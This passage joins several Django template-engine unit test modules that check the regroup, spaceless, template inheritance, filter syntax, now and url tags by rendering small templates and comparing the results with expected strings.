            self.engine.render_to_string('exception05')






from datetime import date

from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class RegroupTagTests(SimpleTestCase):

    @setup({'regroup01': ''
                         '{% regroup data by bar as grouped %}'
                         '{% for group in grouped %}'
                         '{{ group.grouper }}:'
                         '{% for item in group.list %}'
                         '{{ item.foo }}'
                         '{% endfor %},'
                         '{% endfor %}'})
    def test_regroup01(self):
        output = self.engine.render_to_string('regroup01', {
            'data': [{'foo': 'c', 'bar': 1},
                     {'foo': 'd', 'bar': 1},
                     {'foo': 'a', 'bar': 2},
                     {'foo': 'b', 'bar': 2},
                     {'foo': 'x', 'bar': 3}],
        })
        self.assertEqual(output, '1:cd,2:ab,3:x,')

    @setup({'regroup02': ''
                         '{% regroup data by bar as grouped %}'
                         '{% for group in grouped %}'
                         '{{ group.grouper }}:'
                         '{% for item in group.list %}'
                         '{{ item.foo }}'
                         '{% endfor %}'
                         '{% endfor %}'})
    def test_regroup02(self):
        """
        Test for silent failure when target variable isn't found
        """
        output = self.engine.render_to_string('regroup02', {})
        self.assertEqual(output, '')

    @setup({'regroup03': ''
                         '{% regroup data by at|date:"m" as grouped %}'
                         '{% for group in grouped %}'
                         '{{ group.grouper }}:'
                         '{% for item in group.list %}'
                         '{{ item.at|date:"d" }}'
                         '{% endfor %},'
                         '{% endfor %}'})
    def test_regroup03(self):
        """
        Regression tests for #17675
        The date template filter has expects_localtime = True
        """
        output = self.engine.render_to_string('regroup03', {
            'data': [{'at': date(2012, 2, 14)},
                     {'at': date(2012, 2, 28)},
                     {'at': date(2012, 7, 4)}],
        })
        self.assertEqual(output, '02:1428,07:04,')

    @setup({'regroup04': ''
                         '{% regroup data by bar|join:"" as grouped %}'
                         '{% for group in grouped %}'
                         '{{ group.grouper }}:'
                         '{% for item in group.list %}'
                         '{{ item.foo|first }}'
                         '{% endfor %},'
                         '{% endfor %}'})
    def test_regroup04(self):
        """
        The join template filter has needs_autoescape = True
        """
        output = self.engine.render_to_string('regroup04', {
            'data': [{'foo': 'x', 'bar': ['ab', 'c']},
                     {'foo': 'y', 'bar': ['a', 'bc']},
                     {'foo': 'z', 'bar': ['a', 'd']}],
        })
        self.assertEqual(output, 'abc:xy,ad:z,')

    # Test syntax errors
    @setup({'regroup05': '{% regroup data by bar as %}'})
    def test_regroup05(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('regroup05')

    @setup({'regroup06': '{% regroup data by bar thisaintright grouped %}'})
    def test_regroup06(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('regroup06')

    @setup({'regroup07': '{% regroup data thisaintright bar as grouped %}'})
    def test_regroup07(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('regroup07')

    @setup({'regroup08': '{% regroup data by bar as grouped toomanyargs %}'})
    def test_regroup08(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('regroup08')






from django.test import SimpleTestCase

from ..utils import setup


class SpacelessTagTests(SimpleTestCase):

    @setup({'spaceless01': "{% spaceless %} <b>    <i> text </i>    </b> {% endspaceless %}"})
    def test_spaceless01(self):
        output = self.engine.render_to_string('spaceless01')
        self.assertEqual(output, "<b><i> text </i></b>")

    @setup({'spaceless02': "{% spaceless %} <b> \n <i> text </i> \n </b> {% endspaceless %}"})
    def test_spaceless02(self):
        output = self.engine.render_to_string('spaceless02')
        self.assertEqual(output, "<b><i> text </i></b>")

    @setup({'spaceless03': "{% spaceless %}<b><i>text</i></b>{% endspaceless %}"})
    def test_spaceless03(self):
        output = self.engine.render_to_string('spaceless03')
        self.assertEqual(output, "<b><i>text</i></b>")

    @setup({'spaceless04': "{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}"})
    def test_spaceless04(self):
        output = self.engine.render_to_string('spaceless04', {'text': 'This & that'})
        self.assertEqual(output, "<b><i>This &amp; that</i></b>")

    @setup({'spaceless05': "{% autoescape off %}{% spaceless %}"
                           "<b>   <i>{{ text }}</i>  </b>{% endspaceless %}"
                           "{% endautoescape %}"})
    def test_spaceless05(self):
        output = self.engine.render_to_string('spaceless05', {'text': 'This & that'})
        self.assertEqual(output, "<b><i>This & that</i></b>")

    @setup({'spaceless06': "{% spaceless %}<b>   <i>{{ text|safe }}</i>  </b>{% endspaceless %}"})
    def test_spaceless06(self):
        output = self.engine.render_to_string('spaceless06', {'text': 'This & that'})
        self.assertEqual(output, "<b><i>This & that</i></b>")






from django.test import SimpleTestCase

from ..utils import setup

inheritance_templates = {
    'inheritance01': "1{% block first %}&{% endblock %}3{% block second %}_{% endblock %}",
    'inheritance02': "{% extends 'inheritance01' %}"
                     "{% block first %}2{% endblock %}{% block second %}4{% endblock %}",
    'inheritance03': "{% extends 'inheritance02' %}",
    'inheritance04': "{% extends 'inheritance01' %}",
    'inheritance05': "{% extends 'inheritance02' %}",
    'inheritance06': "{% extends foo %}",
    'inheritance07': "{% extends 'inheritance01' %}{% block second %}5{% endblock %}",
    'inheritance08': "{% extends 'inheritance02' %}{% block second %}5{% endblock %}",
    'inheritance09': "{% extends 'inheritance04' %}",
    'inheritance10': "{% extends 'inheritance04' %}      ",
    'inheritance11': "{% extends 'inheritance04' %}"
                     "{% block first %}2{% endblock %}{% block second %}4{% endblock %}",
    'inheritance12': "{% extends 'inheritance07' %}{% block first %}2{% endblock %}",
    'inheritance13': "{% extends 'inheritance02' %}"
                     "{% block first %}a{% endblock %}{% block second %}b{% endblock %}",
    'inheritance14': "{% extends 'inheritance01' %}{% block newblock %}NO DISPLAY{% endblock %}",
    'inheritance15': "{% extends 'inheritance01' %}"
                     "{% block first %}2{% block inner %}inner{% endblock %}{% endblock %}",
    'inheritance16': "{% extends 'inheritance15' %}{% block inner %}out{% endblock %}",
    'inheritance17': "{% load testtags %}{% block first %}1234{% endblock %}",
    'inheritance18': "{% load testtags %}{% echo this that theother %}5678",
    'inheritance19': "{% extends 'inheritance01' %}"
                     "{% block first %}{% load testtags %}{% echo 400 %}5678{% endblock %}",
    'inheritance20': "{% extends 'inheritance01' %}{% block first %}{{ block.super }}a{% endblock %}",
    'inheritance21': "{% extends 'inheritance02' %}{% block first %}{{ block.super }}a{% endblock %}",
    'inheritance22': "{% extends 'inheritance04' %}{% block first %}{{ block.super }}a{% endblock %}",
    'inheritance23': "{% extends 'inheritance20' %}{% block first %}{{ block.super }}b{% endblock %}",
    'inheritance24': "{% extends context_template %}"
                     "{% block first %}2{% endblock %}{% block second %}4{% endblock %}",
    'inheritance25': "{% extends context_template.1 %}"
                     "{% block first %}2{% endblock %}{% block second %}4{% endblock %}",
    'inheritance26': "no tags",
    'inheritance27': "{% extends 'inheritance26' %}",
    'inheritance 28': "{% block first %}!{% endblock %}",
    'inheritance29': "{% extends 'inheritance 28' %}",
    'inheritance30': "1{% if optional %}{% block opt %}2{% endblock %}{% endif %}3",
    'inheritance31': "{% extends 'inheritance30' %}{% block opt %}two{% endblock %}",
    'inheritance32': "{% extends 'inheritance30' %}{% block opt %}two{% endblock %}",
    'inheritance33': "1{% if optional == 1 %}{% block opt %}2{% endblock %}{% endif %}3",
    'inheritance34': "{% extends 'inheritance33' %}{% block opt %}two{% endblock %}",
    'inheritance35': "{% extends 'inheritance33' %}{% block opt %}two{% endblock %}",
    'inheritance36': "{% for n in numbers %}_{% block opt %}{{ n }}{% endblock %}{% endfor %}_",
    'inheritance37': "{% extends 'inheritance36' %}{% block opt %}X{% endblock %}",
    'inheritance38': "{% extends 'inheritance36' %}{% block opt %}X{% endblock %}",
    'inheritance39': "{% extends 'inheritance30' %}{% block opt %}new{{ block.super }}{% endblock %}",
    'inheritance40': "{% extends 'inheritance33' %}{% block opt %}new{{ block.super }}{% endblock %}",
    'inheritance41': "{% extends 'inheritance36' %}{% block opt %}new{{ block.super }}{% endblock %}",
    'inheritance42': "{% extends 'inheritance02'|cut:' ' %}",
}


class InheritanceTests(SimpleTestCase):
    libraries = {'testtags': 'template_tests.templatetags.testtags'}

    @setup(inheritance_templates)
    def test_inheritance01(self):
        """
        Standard template with no inheritance
        """
        output = self.engine.render_to_string('inheritance01')
        self.assertEqual(output, '1&3_')

    @setup(inheritance_templates)
    def test_inheritance02(self):
        """
        Standard two-level inheritance
        """
        output = self.engine.render_to_string('inheritance02')
        self.assertEqual(output, '1234')

    @setup(inheritance_templates)
    def test_inheritance03(self):
        """
        Three-level with no redefinitions on third level
        """
        output = self.engine.render_to_string('inheritance03')
        self.assertEqual(output, '1234')

    @setup(inheritance_templates)
    def test_inheritance04(self):
        """
        Two-level with no redefinitions on second level
        """
        output = self.engine.render_to_string('inheritance04')
        self.assertEqual(output, '1&3_')

    @setup(inheritance_templates)
    def test_inheritance05(self):
        """
        Two-level with double quotes instead of single quotes
        """
        output = self.engine.render_to_string('inheritance05')
        self.assertEqual(output, '1234')

    @setup(inheritance_templates)
    def test_inheritance06(self):
        """
        Three-level with variable parent-template name
        """
        output = self.engine.render_to_string('inheritance06', {'foo': 'inheritance02'})
        self.assertEqual(output, '1234')

    @setup(inheritance_templates)
    def test_inheritance07(self):
        """
        Two-level with one block defined, one block not defined
        """
        output = self.engine.render_to_string('inheritance07')
        self.assertEqual(output, '1&35')

    @setup(inheritance_templates)
    def test_inheritance08(self):
        """
        Three-level with one block defined on this level, two blocks
        defined next level
        """
        output = self.engine.render_to_string('inheritance08')
        self.assertEqual(output, '1235')

    @setup(inheritance_templates)
    def test_inheritance09(self):
        """
        Three-level with second and third levels blank
        """
        output = self.engine.render_to_string('inheritance09')
        self.assertEqual(output, '1&3_')

    @setup(inheritance_templates)
    def test_inheritance10(self):
        """
        Three-level with space NOT in a block -- should be ignored
        """
        output = self.engine.render_to_string('inheritance10')
        self.assertEqual(output, '1&3_')

    @setup(inheritance_templates)
    def test_inheritance11(self):
        """
        Three-level with both blocks defined on this level, but none on
        second level
        """
        output = self.engine.render_to_string('inheritance11')
        self.assertEqual(output, '1234')

    @setup(inheritance_templates)
    def test_inheritance12(self):
        """
        Three-level with this level providing one and second level
        providing the other
        """
        output = self.engine.render_to_string('inheritance12')
        self.assertEqual(output, '1235')

    @setup(inheritance_templates)
    def test_inheritance13(self):
        """
        Three-level with this level overriding second level
        """
        output = self.engine.render_to_string('inheritance13')
        self.assertEqual(output, '1a3b')

    @setup(inheritance_templates)
    def test_inheritance14(self):
        """
        A block defined only in a child template shouldn't be displayed
        """
        output = self.engine.render_to_string('inheritance14')
        self.assertEqual(output, '1&3_')

    @setup(inheritance_templates)
    def test_inheritance15(self):
        """
        A block within another block
        """
        output = self.engine.render_to_string('inheritance15')
        self.assertEqual(output, '12inner3_')

    @setup(inheritance_templates)
    def test_inheritance16(self):
        """
        A block within another block (level 2)
        """
        output = self.engine.render_to_string('inheritance16')
        self.assertEqual(output, '12out3_')

    @setup(inheritance_templates)
    def test_inheritance17(self):
        """
        {% load %} tag (parent -- setup for exception04)
        """
        output = self.engine.render_to_string('inheritance17')
        self.assertEqual(output, '1234')

    @setup(inheritance_templates)
    def test_inheritance18(self):
        """
        {% load %} tag (standard usage, without inheritance)
        """
        output = self.engine.render_to_string('inheritance18')
        self.assertEqual(output, 'this that theother5678')

    @setup(inheritance_templates)
    def test_inheritance19(self):
        """
        {% load %} tag (within a child template)
        """
        output = self.engine.render_to_string('inheritance19')
        self.assertEqual(output, '140056783_')

    @setup(inheritance_templates)
    def test_inheritance20(self):
        """
        Two-level inheritance with {{ block.super }}
        """
        output = self.engine.render_to_string('inheritance20')
        self.assertEqual(output, '1&a3_')

    @setup(inheritance_templates)
    def test_inheritance21(self):
        """
        Three-level inheritance with {{ block.super }} from parent
        """
        output = self.engine.render_to_string('inheritance21')
        self.assertEqual(output, '12a34')

    @setup(inheritance_templates)
    def test_inheritance22(self):
        """
        Three-level inheritance with {{ block.super }} from grandparent
        """
        output = self.engine.render_to_string('inheritance22')
        self.assertEqual(output, '1&a3_')

    @setup(inheritance_templates)
    def test_inheritance23(self):
        """
        Three-level inheritance with {{ block.super }} from parent and
        grandparent
        """
        output = self.engine.render_to_string('inheritance23')
        self.assertEqual(output, '1&ab3_')

    @setup(inheritance_templates)
    def test_inheritance24(self):
        """
        Inheritance from local context without use of template loader
        """
        context_template = self.engine.from_string(
            "1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"
        )
        output = self.engine.render_to_string('inheritance24', {'context_template': context_template})
        self.assertEqual(output, '1234')

    @setup(inheritance_templates)
    def test_inheritance25(self):
        """
        Inheritance from local context with variable parent template
        """
        context_template = [
            self.engine.from_string("Wrong"),
            self.engine.from_string("1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"),
        ]
        output = self.engine.render_to_string('inheritance25', {'context_template': context_template})
        self.assertEqual(output, '1234')

    @setup(inheritance_templates)
    def test_inheritance26(self):
        """
        Set up a base template to extend
        """
        output = self.engine.render_to_string('inheritance26')
        self.assertEqual(output, 'no tags')

    @setup(inheritance_templates)
    def test_inheritance27(self):
        """
        Inheritance from a template that doesn't have any blocks
        """
        output = self.engine.render_to_string('inheritance27')
        self.assertEqual(output, 'no tags')

    @setup(inheritance_templates)
    def test_inheritance_28(self):
        """
        Set up a base template with a space in it.
        """
        output = self.engine.render_to_string('inheritance 28')
        self.assertEqual(output, '!')

    @setup(inheritance_templates)
    def test_inheritance29(self):
        """
        Inheritance from a template with a space in its name should work.
        """
        output = self.engine.render_to_string('inheritance29')
        self.assertEqual(output, '!')

    @setup(inheritance_templates)
    def test_inheritance30(self):
        """
        Base template, putting block in a conditional {% if %} tag
        """
        output = self.engine.render_to_string('inheritance30', {'optional': True})
        self.assertEqual(output, '123')

    # Inherit from a template with block wrapped in an {% if %} tag
    # (in parent), still gets overridden
    @setup(inheritance_templates)
    def test_inheritance31(self):
        output = self.engine.render_to_string('inheritance31', {'optional': True})
        self.assertEqual(output, '1two3')

    @setup(inheritance_templates)
    def test_inheritance32(self):
        output = self.engine.render_to_string('inheritance32')
        self.assertEqual(output, '13')

    @setup(inheritance_templates)
    def test_inheritance33(self):
        """
        Base template, putting block in a conditional {% if %} tag
        """
        output = self.engine.render_to_string('inheritance33', {'optional': 1})
        self.assertEqual(output, '123')

    @setup(inheritance_templates)
    def test_inheritance34(self):
        """
        Inherit from a template with block wrapped in an {% if %} tag
        (in parent), still gets overridden
        """
        output = self.engine.render_to_string('inheritance34', {'optional': 1})
        self.assertEqual(output, '1two3')

    @setup(inheritance_templates)
    def test_inheritance35(self):
        """
        Inherit from a template with block wrapped in an {% if %} tag
        (in parent), still gets overridden
        """
        output = self.engine.render_to_string('inheritance35', {'optional': 2})
        self.assertEqual(output, '13')

    @setup(inheritance_templates)
    def test_inheritance36(self):
        """
        Base template, putting block in a {% for %} tag
        """
        output = self.engine.render_to_string('inheritance36', {'numbers': '123'})
        self.assertEqual(output, '_1_2_3_')

    @setup(inheritance_templates)
    def test_inheritance37(self):
        """
        Inherit from a template with block wrapped in an {% for %} tag
        (in parent), still gets overridden
        """
        output = self.engine.render_to_string('inheritance37', {'numbers': '123'})
        self.assertEqual(output, '_X_X_X_')

    @setup(inheritance_templates)
    def test_inheritance38(self):
        """
        Inherit from a template with block wrapped in an {% for %} tag
        (in parent), still gets overridden
        """
        output = self.engine.render_to_string('inheritance38')
        self.assertEqual(output, '_')

    # The super block will still be found.
    @setup(inheritance_templates)
    def test_inheritance39(self):
        output = self.engine.render_to_string('inheritance39', {'optional': True})
        self.assertEqual(output, '1new23')

    @setup(inheritance_templates)
    def test_inheritance40(self):
        output = self.engine.render_to_string('inheritance40', {'optional': 1})
        self.assertEqual(output, '1new23')

    @setup(inheritance_templates)
    def test_inheritance41(self):
        output = self.engine.render_to_string('inheritance41', {'numbers': '123'})
        self.assertEqual(output, '_new1_new2_new3_')

    @setup(inheritance_templates)
    def test_inheritance42(self):
        """
        Expression starting and ending with a quote
        """
        output = self.engine.render_to_string('inheritance42')
        self.assertEqual(output, '1234')






# coding: utf-8
from __future__ import unicode_literals

from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import SomeClass, SomeOtherException, UTF8Class, setup


class FilterSyntaxTests(SimpleTestCase):

    @setup({'filter-syntax01': '{{ var|upper }}'})
    def test_filter_syntax01(self):
        """
        Basic filter usage
        """
        output = self.engine.render_to_string('filter-syntax01', {"var": "Django is the greatest!"})
        self.assertEqual(output, "DJANGO IS THE GREATEST!")

    @setup({'filter-syntax02': '{{ var|upper|lower }}'})
    def test_filter_syntax02(self):
        """
        Chained filters
        """
        output = self.engine.render_to_string('filter-syntax02', {"var": "Django is the greatest!"})
        self.assertEqual(output, "django is the greatest!")

    @setup({'filter-syntax03': '{{ var |upper }}'})
    def test_filter_syntax03(self):
        """
        Allow spaces before the filter pipe
        """
        output = self.engine.render_to_string('filter-syntax03', {'var': 'Django is the greatest!'})
        self.assertEqual(output, 'DJANGO IS THE GREATEST!')

    @setup({'filter-syntax04': '{{ var| upper }}'})
    def test_filter_syntax04(self):
        """
        Allow spaces after the filter pipe
        """
        output = self.engine.render_to_string('filter-syntax04', {'var': 'Django is the greatest!'})
        self.assertEqual(output, 'DJANGO IS THE GREATEST!')

    @setup({'filter-syntax05': '{{ var|does_not_exist }}'})
    def test_filter_syntax05(self):
        """
        Raise TemplateSyntaxError for a nonexistent filter
        """
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('filter-syntax05')

    @setup({'filter-syntax06': '{{ var|fil(ter) }}'})
    def test_filter_syntax06(self):
        """
        Raise TemplateSyntaxError when trying to access a filter containing
        an illegal character
        """
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('filter-syntax06')

    @setup({'filter-syntax07': "{% nothing_to_see_here %}"})
    def test_filter_syntax07(self):
        """
        Raise TemplateSyntaxError for invalid block tags
        """
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('filter-syntax07')

    @setup({'filter-syntax08': "{% %}"})
    def test_filter_syntax08(self):
        """
        Raise TemplateSyntaxError for empty block tags
        """
        with self.assertRaisesMessage(TemplateSyntaxError, 'Empty block tag on line 1'):
            self.engine.get_template('filter-syntax08')

    @setup({'filter-syntax08-multi-line': "line 1\nline 2\nline 3{% %}\nline 4\nline 5"})
    def test_filter_syntax08_multi_line(self):
        """
        Raise TemplateSyntaxError for empty block tags in templates with
        multiple lines.
        """
        with self.assertRaisesMessage(TemplateSyntaxError, 'Empty block tag on line 3'):
            self.engine.get_template('filter-syntax08-multi-line')

    @setup({'filter-syntax09': '{{ var|cut:"o"|upper|lower }}'})
    def test_filter_syntax09(self):
        """
        Chained filters, with an argument to the first one
        """
        output = self.engine.render_to_string('filter-syntax09', {'var': 'Foo'})
        self.assertEqual(output, 'f')

    @setup({'filter-syntax10': r'{{ var|default_if_none:" endquote\" hah" }}'})
    def test_filter_syntax10(self):
        """
        Literal string as argument is always "safe" from auto-escaping.
        """
        output = self.engine.render_to_string('filter-syntax10', {"var": None})
        self.assertEqual(output, ' endquote" hah')

    @setup({'filter-syntax11': r'{{ var|default_if_none:var2 }}'})
    def test_filter_syntax11(self):
        """
        Variable as argument
        """
        output = self.engine.render_to_string('filter-syntax11', {"var": None, "var2": "happy"})
        self.assertEqual(output, 'happy')

    @setup({'filter-syntax12': r'{{ var|yesno:"yup,nup,mup" }} {{ var|yesno }}'})
    def test_filter_syntax12(self):
        """
        Default argument testing
        """
        output = self.engine.render_to_string('filter-syntax12', {"var": True})
        self.assertEqual(output, 'yup yes')

    @setup({'filter-syntax13': r'1{{ var.method3 }}2'})
    def test_filter_syntax13(self):
        """
        Fail silently for methods that raise an exception with a
        `silent_variable_failure` attribute
        """
        output = self.engine.render_to_string('filter-syntax13', {"var": SomeClass()})
        if self.engine.string_if_invalid:
            self.assertEqual(output, "1INVALID2")
        else:
            self.assertEqual(output, "12")

    @setup({'filter-syntax14': r'1{{ var.method4 }}2'})
    def test_filter_syntax14(self):
        """
        In methods that raise an exception without a
        `silent_variable_attribute` set to True, the exception propagates
        """
        with self.assertRaises(SomeOtherException):
            self.engine.render_to_string('filter-syntax14', {"var": SomeClass()})

    @setup({'filter-syntax15': r'{{ var|default_if_none:"foo\bar" }}'})
    def test_filter_syntax15(self):
        """
        Escaped backslash in argument
        """
        output = self.engine.render_to_string('filter-syntax15', {"var": None})
        self.assertEqual(output, r'foo\bar')

    @setup({'filter-syntax16': r'{{ var|default_if_none:"foo\now" }}'})
    def test_filter_syntax16(self):
        """
        Escaped backslash using known escape char
        """
        output = self.engine.render_to_string('filter-syntax16', {"var": None})
        self.assertEqual(output, r'foo\now')

    @setup({'filter-syntax17': r'{{ var|join:"" }}'})
    def test_filter_syntax17(self):
        """
        Empty strings can be passed as arguments to filters
        """
        output = self.engine.render_to_string('filter-syntax17', {'var': ['a', 'b', 'c']})
        self.assertEqual(output, 'abc')

    @setup({'filter-syntax18': r'{{ var }}'})
    def test_filter_syntax18(self):
        """
        Make sure that any unicode strings are converted to bytestrings
        in the final output.
        """
        output = self.engine.render_to_string('filter-syntax18', {'var': UTF8Class()})
        self.assertEqual(output, '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111')

    @setup({'filter-syntax19': '{{ var|truncatewords:1 }}'})
    def test_filter_syntax19(self):
        """
        Numbers as filter arguments should work
        """
        output = self.engine.render_to_string('filter-syntax19', {"var": "hello world"})
        self.assertEqual(output, "hello ...")

    @setup({'filter-syntax20': '{{ ""|default_if_none:"was none" }}'})
    def test_filter_syntax20(self):
        """
        Filters should accept empty string constants
        """
        output = self.engine.render_to_string('filter-syntax20')
        self.assertEqual(output, "")

    @setup({'filter-syntax21': r'1{{ var.silent_fail_key }}2'})
    def test_filter_syntax21(self):
        """
        Fail silently for non-callable attribute and dict lookups which
        raise an exception with a "silent_variable_failure" attribute
        """
        output = self.engine.render_to_string('filter-syntax21', {"var": SomeClass()})
        if self.engine.string_if_invalid:
            self.assertEqual(output, "1INVALID2")
        else:
            self.assertEqual(output, "12")

    @setup({'filter-syntax22': r'1{{ var.silent_fail_attribute }}2'})
    def test_filter_syntax22(self):
        """
        Fail silently for non-callable attribute and dict lookups which
        raise an exception with a `silent_variable_failure` attribute
        """
        output = self.engine.render_to_string('filter-syntax22', {"var": SomeClass()})
        if self.engine.string_if_invalid:
            self.assertEqual(output, "1INVALID2")
        else:
            self.assertEqual(output, "12")

    @setup({'filter-syntax23': r'1{{ var.noisy_fail_key }}2'})
    def test_filter_syntax23(self):
        """
        In attribute and dict lookups that raise an unexpected exception
        without a `silent_variable_attribute` set to True, the exception
        propagates
        """
        with self.assertRaises(SomeOtherException):
            self.engine.render_to_string('filter-syntax23', {"var": SomeClass()})

    @setup({'filter-syntax24': r'1{{ var.noisy_fail_attribute }}2'})
    def test_filter_syntax24(self):
        """
        In attribute and dict lookups that raise an unexpected exception
        without a `silent_variable_attribute` set to True, the exception
        propagates
        """
        with self.assertRaises(SomeOtherException):
            self.engine.render_to_string('filter-syntax24', {"var": SomeClass()})

    @setup({'filter-syntax25': '{{ var.attribute_error_attribute }}'})
    def test_filter_syntax25(self):
        """
        #16383 - Attribute errors from an @property value should be
        reraised.
        """
        with self.assertRaises(AttributeError):
            self.engine.render_to_string('filter-syntax25', {'var': SomeClass()})






from datetime import datetime

from django.test import SimpleTestCase
from django.utils.formats import date_format

from ..utils import setup


class NowTagTests(SimpleTestCase):

    @setup({'now01': '{% now "j n Y" %}'})
    def test_now01(self):
        """
        Simple case
        """
        output = self.engine.render_to_string('now01')
        self.assertEqual(output, "%d %d %d" % (
            datetime.now().day, datetime.now().month, datetime.now().year,
        ))

    # Check parsing of locale strings
    @setup({'now02': '{% now "DATE_FORMAT" %}'})
    def test_now02(self):
        output = self.engine.render_to_string('now02')
        self.assertEqual(output, date_format(datetime.now()))

    @setup({'now03': '{% now \'j n Y\' %}'})
    def test_now03(self):
        """
        #15092 - Also accept simple quotes
        """
        output = self.engine.render_to_string('now03')
        self.assertEqual(output, "%d %d %d" % (
            datetime.now().day, datetime.now().month, datetime.now().year,
        ))

    @setup({'now04': '{% now \'DATE_FORMAT\' %}'})
    def test_now04(self):
        output = self.engine.render_to_string('now04')
        self.assertEqual(output, date_format(datetime.now()))

    @setup({'now05': '{% now \'j "n" Y\'%}'})
    def test_now05(self):
        output = self.engine.render_to_string('now05')
        self.assertEqual(output, '%d "%d" %d' % (
            datetime.now().day, datetime.now().month, datetime.now().year,
        ))

    @setup({'now06': '{% now "j \'n\' Y"%}'})
    def test_now06(self):
        output = self.engine.render_to_string('now06')
        self.assertEqual(output, "%d '%d' %d" % (
            datetime.now().day, datetime.now().month, datetime.now().year,
        ))

    @setup({'now07': '{% now "j n Y" as N %}-{{N}}-'})
    def test_now07(self):
        output = self.engine.render_to_string('now07')
        self.assertEqual(output, '-%d %d %d-' % (
            datetime.now().day, datetime.now().month, datetime.now().year,
        ))






# coding: utf-8
from django.template import RequestContext, TemplateSyntaxError
from django.test import RequestFactory, SimpleTestCase, override_settings
from django.urls import NoReverseMatch, resolve

from ..utils import setup


@override_settings(ROOT_URLCONF='template_tests.urls')
class UrlTagTests(SimpleTestCase):

    # Successes
    @setup({'url01': '{% url "client" client.id %}'})
    def test_url01(self):
        output = self.engine.render_to_string('url01', {'client': {'id': 1}})
        self.assertEqual(output, '/client/1/')

    @setup({'url02': '{% url "client_action" id=client.id action="update" %}'})
    def test_url02(self):
        output = self.engine.render_to_string('url02', {'client': {'id': 1}})
        self.assertEqual(output, '/client/1/update/')

    @setup({'url02a': '{% url "client_action" client.id "update" %}'})
    def test_url02a(self):
        output = self.engine.render_to_string('url02a', {'client': {'id': 1}})
        self.assertEqual(output, '/client/1/update/')

    @setup({'url02b': "{% url 'client_action' id=client.id action='update' %}"})
    def test_url02b(self):
        output = self.engine.render_to_string('url02b', {'client': {'id': 1}})
        self.assertEqual(output, '/client/1/update/')

    @setup({'url02c': "{% url 'client_action' client.id 'update' %}"})
    def test_url02c(self):
        output = self.engine.render_to_string('url02c', {'client': {'id': 1}})
        self.assertEqual(output, '/client/1/update/')

    @setup({'url03': '{% url "index" %}'})
    def test_url03(self):
        output = self.engine.render_to_string('url03')
        self.assertEqual(output, '/')

    @setup({'url04': '{% url "named.client" client.id %}'})
    def test_url04(self):
        output = self.engine.render_to_string('url04', {'client': {'id': 1}})
        self.assertEqual(output, '/named-client/1/')

    @setup({'url05': '{% url "метка_оператора" v %}'})
    def test_url05(self):
        output = self.engine.render_to_string('url05', {'v': 'Ω'})
        self.assertEqual(output, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/')

    @setup({'url06': '{% url "метка_оператора_2" tag=v %}'})
    def test_url06(self):
        output = self.engine.render_to_string('url06', {'v': 'Ω'})
        self.assertEqual(output, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/')

    @setup({'url08': '{% url "метка_оператора" v %}'})
    def test_url08(self):
        output = self.engine.render_to_string('url08', {'v': 'Ω'})
        self.assertEqual(output, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/')

    @setup({'url09': '{% url "метка_оператора_2" tag=v %}'})
    def test_url09(self):
        output = self.engine.render_to_string('url09', {'v': 'Ω'})
        self.assertEqual(output, '/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/')

    @setup({'url10': '{% url "client_action" id=client.id action="two words" %}'})
    def test_url10(self):
        output = self.engine.render_to_string('url10', {'client': {'id': 1}})
        self.assertEqual(output, '/client/1/two%20words/')

    @setup({'url11': '{% url "client_action" id=client.id action="==" %}'})
    def test_url11(self):
        output = self.engine.render_to_string('url11', {'client': {'id': 1}})
        self.assertEqual(output, '/client/1/==/')

    @setup({'url12': '{% url "client_action" id=client.id action="!$&\'()*+,;=~:@," %}'})
    def test_url12(self):
        output = self.engine.render_to_string('url12', {'client': {'id': 1}})
        self.assertEqual(output, '/client/1/!$&amp;&#39;()*+,;=~:@,/')

    @setup({'url13': '{% url "client_action" id=client.id action=arg|join:"-" %}'})
    def test_url13(self):
        output = self.engine.render_to_string('url13', {'client': {'id': 1}, 'arg': ['a', 'b']})
        self.assertEqual(output, '/client/1/a-b/')

    @setup({'url14': '{% url "client_action" client.id arg|join:"-" %}'})
    def test_url14(self):
        output = self.engine.render_to_string('url14', {'client': {'id': 1}, 'arg': ['a', 'b']})
        self.assertEqual(output, '/client/1/a-b/')

    @setup({'url15': '{% url "client_action" 12 "test" %}'})
    def test_url15(self):
        output = self.engine.render_to_string('url15')
        self.assertEqual(output, '/client/12/test/')

    @setup({'url18': '{% url "client" "1,2" %}'})
    def test_url18(self):
        output = self.engine.render_to_string('url18')
        self.assertEqual(output, '/client/1,2/')

    @setup({'url19': '{% url named_url client.id %}'})
    def test_url19(self):
        output = self.engine.render_to_string(
            'url19', {'client': {'id': 1}, 'named_url': 'client'}
        )
        self.assertEqual(output, '/client/1/')

    @setup({'url20': '{% url url_name_in_var client.id %}'})
    def test_url20(self):
        output = self.engine.render_to_string('url20', {'client': {'id': 1}, 'url_name_in_var': 'named.client'})
        self.assertEqual(output, '/named-client/1/')

    @setup({'url21': '{% autoescape off %}'
                     '{% url "client_action" id=client.id action="!$&\'()*+,;=~:@," %}'
                     '{% endautoescape %}'})
    def test_url21(self):
        output = self.engine.render_to_string('url21', {'client': {'id': 1}})
        self.assertEqual(output, '/client/1/!$&\'()*+,;=~:@,/')

    # Failures
    @setup({'url-fail01': '{% url %}'})
    def test_url_fail01(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('url-fail01')

    @setup({'url-fail02': '{% url "no_such_view" %}'})
    def test_url_fail02(self):
        with self.assertRaises(NoReverseMatch):
            self.engine.render_to_string('url-fail02')

    @setup({'url-fail03': '{% url "client" %}'})
    def test_url_fail03(self):
